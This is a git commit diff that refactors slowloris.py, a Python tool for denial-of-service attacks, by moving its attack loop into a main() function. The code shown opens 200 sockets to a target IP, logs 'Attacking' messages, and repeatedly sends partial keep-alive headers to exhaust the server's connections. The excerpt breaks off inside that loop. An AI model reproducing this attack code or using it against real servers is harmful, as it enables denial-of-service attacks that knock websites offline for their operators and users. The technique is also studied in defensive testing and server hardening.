Added main function to slowloris.py

This commit is contained in:
Gökberk Yaltıraklı 2015-04-26 12:56:08 +03:00
parent 18cb078818
commit f5b884ceaf
1 changed files with 27 additions and 26 deletions

View File

@ -26,12 +26,13 @@ def init_socket(ip):
s.send("{}\r\n".format(header).encode("utf-8")) s.send("{}\r\n".format(header).encode("utf-8"))
return s return s
ip = sys.argv[1] def main():
socket_count = 200 ip = sys.argv[1]
log("Attacking {} with {} sockets.".format(ip, socket_count)) socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))
log("Creating sockets...") log("Creating sockets...")
for _ in range(socket_count): for _ in range(socket_count):
try: try:
log("Creating socket nr {}".format(_), level=2) log("Creating socket nr {}".format(_), level=2)
s = init_socket(ip) s = init_socket(ip)
@ -39,7 +40,7 @@ for _ in range(socket_count):
break break
list_of_sockets.append(s) list_of_sockets.append(s)
while True: while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets))) log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
for s in list_of_sockets: for s in list_of_sockets:
try: try: